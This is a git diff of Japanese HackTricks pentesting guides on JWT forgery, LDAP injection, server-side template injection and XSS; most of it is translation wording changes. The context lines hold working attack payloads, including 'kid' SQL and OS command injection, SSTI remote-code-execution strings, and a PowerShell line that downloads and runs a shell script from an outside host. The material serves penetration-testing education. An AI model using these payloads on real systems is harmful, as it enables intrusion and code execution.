-あなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 +もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 7e42dc2fc..b68567eae 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -15,7 +15,7 @@ GCPハッキングを学び、実践する:
+
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 @@ -51,19 +51,19 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s JWTの署名が検証されているかどうかを確認するには: * エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる機密情報を確認する必要があります。 -* 返されたページの変更も検証を示しています。 -* 変更がない場合は検証が行われていないことを示唆しています;この場合、ペイロードの主張を改ざんする実験を行うべきです。 +* 返されたページの変更も検証を示します。 +* 変更がない場合は検証が行われていないことを示します;この時にペイロードの主張を改ざんする実験を行います。 ### 起源 トークンがサーバー側で生成されたのか、クライアント側で生成されたのかを、プロキシのリクエスト履歴を調べて判断することが重要です。 * クライアント側から最初に見られたトークンは、キーがクライアント側のコードに露出している可能性があるため、さらなる調査が必要です。 -* サーバー側から発生したトークンは、安全なプロセスを示しています。 +* サーバー側から発生したトークンは、安全なプロセスを示します。 ### 期間 -トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているかどうかを確認してください。 +トークンが24時間以上持続するかどうかを確認してください...もしかしたら期限が切れないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているか確認してください。 ### HMAC秘密鍵のブルートフォース @@ -103,7 +103,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem * トークンの「jku」値を変更して、制御されたWebサービスに向け、トラフィックを観察できるようにします。 * **HTTPインタラクションの監視**: * 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。 -* このプロセスで`jwt_tool`を使用する際は、テストを容易にするために、`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。 +* このプロセスに`jwt_tool`を使用する際は、テストを円滑に進めるために、`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。 * **`jwt_tool`のコマンド**: * 次のコマンドを実行して、`jwt_tool`でシナリオをシミュレートします: @@ -113,7 +113,7 @@ python3 jwt_tool.py JWT_HERE -X s ### Kidの問題の概要 -オプションのヘッダー主張である`kid`は、特定の鍵を識別するために使用され、トークン署名の検証に複数の鍵が存在する環境では特に重要です。この主張は、トークンの署名を検証するために適切な鍵を選択するのに役立ちます。 +オプションのヘッダー主張である`kid`は、特定の鍵を識別するために使用され、トークンの署名検証に複数の鍵が存在する環境では特に重要です。この主張は、トークンの署名を検証するために適切な鍵を選択するのに役立ちます。 #### 「kid」を通じて鍵を明らかにする @@ -125,30 +125,30 @@ python3 jwt_tool.py JWT_HERE -X s ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation. +ファイルの予測可能な内容をターゲットにすることで、有効なJWTを偽造することが可能です。たとえば、Linuxシステムの`/proc/sys/kernel/randomize_va_space`ファイルは、値**2**を含むことで知られており、JWT生成の対称パスワードとして**2**を使用して`kid`パラメータに利用できます。 -#### SQL Injection via "kid" +#### "kid"を介したSQLインジェクション -If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes: +`kid`クレームの内容がデータベースからパスワードを取得するために使用される場合、`kid`ペイロードを変更することでSQLインジェクションが可能になります。JWT署名プロセスを変更するためにSQLインジェクションを使用する例のペイロードは次のとおりです: `non-existent-index' UNION SELECT 'ATTACKER';-- -` この変更により、JWT署名に既知の秘密鍵`ATTACKER`が使用されることになります。 -#### OS Injection through "kid" +#### "kid"を介したOSインジェクション -A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is: +`kid`パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオは、リモートコード実行(RCE)脆弱性につながる可能性があります。`kid`パラメータにコマンドを注入することで、秘密鍵を露出させることが可能です。RCEと鍵の露出を達成するための例のペイロードは次のとおりです: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` -### x5u and jku +### x5uとjku #### jku -jku stands for **JWK Set URL**.\ -If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. +jkuは**JWK Set URL**を表します。\ +トークンが“**jku**”**ヘッダー**クレームを使用している場合は、**提供されたURLを確認してください**。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指す必要があります。トークンを改ざんして、jku値を監視できるWebサービスにポイントさせます。 -First you need to create a new certificate with new private & public keys +まず、新しい秘密鍵と公開鍵を持つ新しい証明書を作成する必要があります。 ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -171,7 +171,7 @@ X.509 URL。PEM形式でエンコードされた一連のX.509(証明書フォ **このヘッダーをあなたの管理下にあるURLに変更して**、リクエストが受信されるか確認してください。その場合、**JWTを改ざんすることができるかもしれません**。 -あなたが管理する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります: +あなたが制御する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem @@ -209,7 +209,7 @@ const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` -新しいプライベート/パブリックキーを生成し、新しいパブリックキーをトークン内に埋め込み、それを使用して新しい署名を生成することが可能です: +新しいプライベート/パブリックキーを生成し、新しいパブリックキーをトークン内に埋め込み、それを使用して新しい署名を生成することが可能です: ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -231,12 +231,12 @@ Finally, using the public and private key and the new "n" and "e" values you can いくつかのアプリケーションがES256を使用し、同じノンスを使用して2つのJWTを生成する場合、プライベートキーを復元できます。 -ここに例があります: [ECDSA: 同じノンスを使用した場合のプライベートキーの明らかにする (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5) +ここに例があります: [ECDSA: 同じノンスを使用した場合のプライベートキーの明示 (SECP256k1使用)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) -JTI (JWT ID) クレームは、JWTトークンのユニークな識別子を提供します。これは、トークンのリプレイを防ぐために使用できます。\ -しかし、IDの最大長が4(0001-9999)である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストをリプレイする**ことができます(各成功したリプレイの間に10000リクエストを送信する必要があります)。 +JTI (JWT ID) クレームは、JWTトークンのユニークな識別子を提供します。これは、トークンの再生を防ぐために使用できます。\ +しかし、IDの最大長が4(0001-9999)である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストを再生する**ことができます(各成功した再生の間に10000リクエストを送信する必要があります)。 ### JWT登録クレーム @@ -246,13 +246,13 @@ JTI (JWT ID) クレームは、JWTトークンのユニークな識別子を提 **クロスサービスリレー攻撃** -いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストでリプレイして受け入れられるかどうかを確認する試みを行うべきです。 +いくつかのWebアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。 * あなたのトークンが受け入れられる場合、重大な問題が示される可能性があり、任意のユーザーアカウントの偽装を許可する可能性があります。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。 **トークンの有効期限チェック** -トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャしてリプレイすることで、そのユーザーのなりすましが可能になります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWTリプレイ攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が過ぎた後にトークンを保存してリプレイすることが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。 +トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、アプリケーションによる関連チェックの実装が重要であり、この値の処理と期限切れトークンの拒否を確実に行う必要があります。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が切れた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。 * アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があるため、セキュリティリスクが存在する可能性があります。 @@ -260,7 +260,7 @@ JTI (JWT ID) クレームは、JWTトークンのユニークな識別子を提 {% embed url="https://github.com/ticarpi/jwt_tool" %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 5b055b5a3..7e38b956d 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -17,7 +17,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). @@ -27,13 +27,13 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ### **LDAP** -**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:** +**LDAPについて知りたい場合は、以下のページにアクセスしてください:** {% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -**LDAP Injection**は、ユーザー入力からLDAP文を構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAP文を操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。 +**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを介して**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。 {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} @@ -63,7 +63,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h **ADAMまたはMicrosoft LDS**: 2つのフィルターでエラーが発生します。\ **SunOne Directory Server 5.0**: 両方のフィルターを実行します。 -**フィルターは正しい構文で送信することが非常に重要です。エラーが発生します。フィルターは1つだけ送信する方が良いです。** +**フィルターは正しい構文で送信することが非常に重要です。さもなければエラーが発生します。フィルターは1つだけ送信する方が良いです。** フィルターは次のように始まる必要があります: `&` または `|`\ 例: `(&(directory=val1)(folder=public))` @@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} -
+
もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 @@ -240,7 +240,7 @@ GCPハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -10,12 +10,12 @@ GCPハッキングを学び、実践する:
+
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 @@ -31,11 +31,11 @@ GCPハッキングを学び、実践する:
+
-もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 +もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 {% embed url="https://www.stmcyber.com/careers" %} diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 1f5ef88c8..4410c66db 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -12,18 +12,18 @@ GCPハッキングを学び、実践する:
-[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティの専門家にとって熱い交流の場です。 +[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。 {% embed url="https://www.rootedcon.com/" %} -## SSTI (Server-Side Template Injection)とは +## SSTI (Server-Side Template Injection)とは何か サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つけることができます。 @@ -45,10 +45,10 @@ The payload `{{bad-stuff-here}}` は `name` パラメータに注入されます サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に **テンプレートをファジングする** ことが簡単なアプローチです。これは、特別な文字のシーケンス (**`${{<%[%'"}}%\`**) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます: -* 脆弱性を明らかにするエラーが発生し、潜在的にテンプレートエンジンが明らかになる。 +* 脆弱性を明らかにするエラーが発生し、テンプレートエンジンが特定される可能性があります。 * 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。 * **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。 -* **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうか。 +* **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかを確認します。 #### Identification Phase @@ -64,7 +64,7 @@ The payload `{{bad-stuff-here}}` は `name` パラメータに注入されます ### [TInjA](https://github.com/Hackmanit/TInjA) -効率的な SSTI + CSTI スキャナーで、新しいポリグロットを利用しています。 +新しいポリグロットを利用した効率的な SSTI + CSTI スキャナーです。 ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." @@ -176,7 +176,7 @@ $out.read() ### Thymeleaf -Thymeleafでは、SSTI脆弱性の一般的なテストは式`${7*7}`であり、このテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます: +Thymeleafにおいて、SSTI脆弱性の一般的なテストは、式`${7*7}`であり、これはこのテンプレートエンジンにも適用されます。リモートコード実行の可能性がある場合、次のような式が使用できます: * SpringEL: @@ -189,11 +189,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` -Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は他のテンプレートの場所でもサポートされており、`[[...]]`や`[(...)]`のような構文を使用します。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。 +Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は、`[[...]]`や`[(...)]`のような構文を使用して他のテンプレートの場所でもサポートされています。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。 しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。 -Thymeleafはまた、ダブルアンダースコア(`__...__`)内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメントで示されているように、式の構築に利用できます: +Thymeleafはまた、ダブルアンダースコア(`__...__`)内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメントに示されているように、式の構築に利用できます: ```java #{selection.__${sel.code}__} ``` @@ -204,7 +204,7 @@ Thymeleafはまた、ダブルアンダースコア(`__...__`)内の式を ``` -これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています: +これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -262,7 +262,7 @@ print(base_payload + end_payload) * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) -### Springビュー操作 (Java) +### Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x @@ -281,7 +281,7 @@ Pebbleの古いバージョン ( < version 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` -新しいバージョンのPebble: +新しいバージョンのPebble : ```java {% raw %} {% set cmd = 'id' %} @@ -516,7 +516,7 @@ $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` -ページテンプレート: +ページテンプレート: ```php layout('template', ['title' => 'User Profile']) ?> @@ -624,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors')); ### patTemplate (PHP) -> [patTemplate](https://github.com/wernerwa/pat-template) は、XMLタグを使用してドキュメントを異なる部分に分割する非コンパイル型PHPテンプレーティングエンジンです。 +> [patTemplate](https://github.com/wernerwa/pat-template) は、XMLタグを使用してドキュメントを異なる部分に分割する非コンパイル型PHPテンプレートエンジンです。 ```xml This is the main page. @@ -648,7 +648,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\": ``` * \= エラー * ${7\*7} = ${7\*7} -* 何もない +* 何も ```java {{#with "s" as |string|}} {{#with "e"}} @@ -680,11 +680,11 @@ URLencoded: ### JsRender (NodeJS) | **テンプレート** | **説明** | -| -------------- | ------------------------------------ | -| | 出力を評価してレンダリングする | -| | HTMLエンコードされた出力を評価してレンダリングする | -| | コメント | -| および | コードを許可する(デフォルトでは無効) | +| ---------------- | ------------------------------------ | +| | 出力を評価してレンダリングする | +| | HTMLエンコードされた出力を評価してレンダリングする | +| | コメント | +| そして | コードを許可する(デフォルトで無効) | * \= 49 @@ -731,9 +731,9 @@ home = pugjs.render(injected_page) ### その他のNodeJS -

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

+

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

-

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

+

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

* 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)を参照してください。 @@ -764,11 +764,11 @@ home = pugjs.render(injected_page) ``` { %x|env| } ``` -**詳細情報** +**More information** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -### その他のRuby +### Other Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

@@ -778,7 +778,7 @@ home = pugjs.render(injected_page) ### Python -**サンドボックスをバイパスする任意のコマンド実行**に関するトリックを学ぶには、以下のページをチェックしてください: +Check out the following page to learn tricks about **arbitrary command execution bypassing sandboxes** in python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -788,7 +788,7 @@ home = pugjs.render(injected_page) * `{{7*7}} = 49` * `${7*7} = ${7*7}` -* `{{foobar}} = エラー` +* `{{foobar}} = Error` * `{{7*'7'}} = 7777777` ```python {% raw %} @@ -814,7 +814,7 @@ home = pugjs.render(injected_page) [公式ウェブサイト](http://jinja.pocoo.org) -> Jinja2はPython用のフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境を持ち、広く使用されており、BSDライセンスです。 +> Jinja2はPython用のフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合されたサンドボックス実行環境を備え、広く使用されており、BSDライセンスです。 * `{{7*7}} = エラー` * `${7*7} = ${7*7}` @@ -855,7 +855,7 @@ home = pugjs.render(injected_page) ``` -[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しない: +[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しません: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} @@ -872,7 +872,7 @@ home = pugjs.render(injected_page) [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} -他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) +他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)にあります。 ### Mako (Python) ```python @@ -918,7 +918,7 @@ ${x} * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo -* `<%= foo %>` = Nothing +* `<%= foo %>` = 何も表示されません * `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> @@ -957,7 +957,7 @@ vbnet Copy code RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します(“call”値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは、[html/templateはこちら](https://golang.org/pkg/html/template/)と[ text/templateはこちら](https://golang.org/pkg/text/template/)で入手できます。 -GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常、ソースコードにアクセスする必要があります。 +GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常ソースコードにアクセスする必要があります。 ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -979,7 +979,7 @@ return string(out) ## 関連ヘルプ -役立つと思う場合は、次をお読みください: +役に立つと思う場合は、次をお読みください: * [Flaskのトリック](../../network-services-pentesting/pentesting-web/flask.md) * [Pythonのマジック関数](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) @@ -1003,7 +1003,7 @@ return string(out)
-​​​[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 +​​​[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。 {% embed url="https://www.rootedcon.com/" %} diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index 6eca6a9a6..34f6003ae 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,6 +1,6 @@ # XSS (クロスサイトスクリプティング) -
+
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 @@ -11,7 +11,7 @@ 1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。 2. **反映されている/使用されているコンテキストを見つけます**。 3. **反映されている場合** -1. **使用できる記号を確認**し、それに応じてペイロードを準備します: +1. **使用できる記号を確認し**、それに応じてペイロードを準備します: 1. **生のHTML**内で: 1. 新しいHTMLタグを作成できますか? 2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか? @@ -33,7 +33,7 @@ 4. **使用されている場合**: 1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**。 -複雑なXSSに取り組む際に知っておくと興味深いことがあります: +複雑なXSSに取り組む際には、以下のことを知っておくと興味深いかもしれません: {% content-ref url="debugging-client-side-js.md" %} [debugging-client-side-js.md](debugging-client-side-js.md) @@ -43,13 +43,13 @@ XSSを成功裏に悪用するために最初に見つけるべきことは、**あなたが制御する値がウェブページに反映されていること**です。 -* **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映型XSS**を悪用できるかもしれません。 -* **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存型XSS**を悪用できるかもしれません。 +* **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。 +* **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存されたXSS**を悪用できるかもしれません。 * **JS経由でアクセスされた**:あなたが制御する値がJSを使用してアクセスされていることがわかった場合、**DOM XSS**を悪用できるかもしれません。 ## コンテキスト 